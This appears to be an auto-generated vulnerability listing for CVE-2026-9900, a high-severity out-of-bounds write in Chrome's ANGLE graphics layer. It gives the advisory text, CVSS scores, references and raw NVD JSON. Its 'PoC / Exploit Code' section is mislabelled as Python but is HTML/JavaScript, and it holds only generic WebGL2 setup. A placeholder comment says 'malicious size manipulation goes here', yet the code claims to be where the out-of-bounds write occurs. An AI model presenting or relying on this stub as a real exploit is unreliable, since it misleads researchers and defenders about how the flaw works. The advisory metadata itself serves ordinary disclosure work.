CVE-2026-9900

Description

Out of bounds write in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Conceptual Proof of Concept for CVE-2026-9900 -->
<html>
<body>
<script type="text/javascript">
    // This PoC demonstrates a potential trigger for an ANGLE OOB write
    // It requires a vulnerable version of Chrome and a compromised renderer context
    try {
        var canvas = document.createElement('canvas');
        var gl = canvas.getContext('webgl2');
        
        if (gl) {
            console.log("[+] WebGL2 context initialized");
            
            // Create a shader program that interacts with ANGLE translation layer
            var vsSource = `
                #version 300 es
                in vec4 aPosition;
                void main() {
                    gl_Position = aPosition;
                }
            `;
            
            var fsSource = `
                #version 300 es
                precision highp float;
                out vec4 fragColor;
                void main() {
                    fragColor = vec4(1.0, 0.0, 0.0, 1.0);
                }
            `;
            
            function createShader(gl, type, source) {
                var shader = gl.createShader(type);
                gl.shaderSource(shader, source);
                gl.compileShader(shader);
                if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
                    console.error("Shader compile error:", gl.getShaderInfoLog(shader));
                    gl.deleteShader(shader);
                    return null;
                }
                return shader;
            }
            
            var vertexShader = createShader(gl, gl.VERTEX_SHADER, vsSource);
            var fragmentShader = createShader(gl, gl.FRAGMENT_SHADER, fsSource);
            
            var program = gl.createProgram();
            gl.attachShader(program, vertexShader);
            gl.attachShader(program, fragmentShader);
            gl.linkProgram(program);
            
            if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
                console.error("Program link error:", gl.getProgramInfoLog(program));
            } else {
                gl.useProgram(program);
                
                // Setup buffer with specific size to trigger OOB logic
                // Malicious size manipulation goes here
                var buffer = gl.createBuffer();
                gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
                
                // Attempt to allocate a large buffer that might cause OOB write in ANGLE
                var data = new Float32Array(0x100000); 
                gl.bufferData(gl.ARRAY_BUFFER, data, gl.STATIC_DRAW);
                
                // Define attributes
                var positionLocation = gl.getAttribLocation(program, "aPosition");
                gl.enableVertexAttribArray(positionLocation);
                gl.vertexAttribPointer(positionLocation, 3, gl.FLOAT, false, 0, 0);
                
                // Trigger draw call which may exploit the vulnerability
                // This is where the OOB write occurs in vulnerable versions
                console.log("[+] Triggering draw call...");
                gl.drawArrays(gl.TRIANGLES, 0, 0xFFFF);
                
                console.log("[+] Exploit attempt finished");
            }
        }
    } catch (e) {
        console.log("[-] Error during PoC execution: " + e.message);
    }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9900
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9900
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9900/
[4] VulDB https://vuldb.com/cve/CVE-2026-9900
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/497637277

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9900", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:48.007", "lastModified": "2026-05-29T16:16:36.530", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds write in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/497637277", "source": "[email protected]"}]}}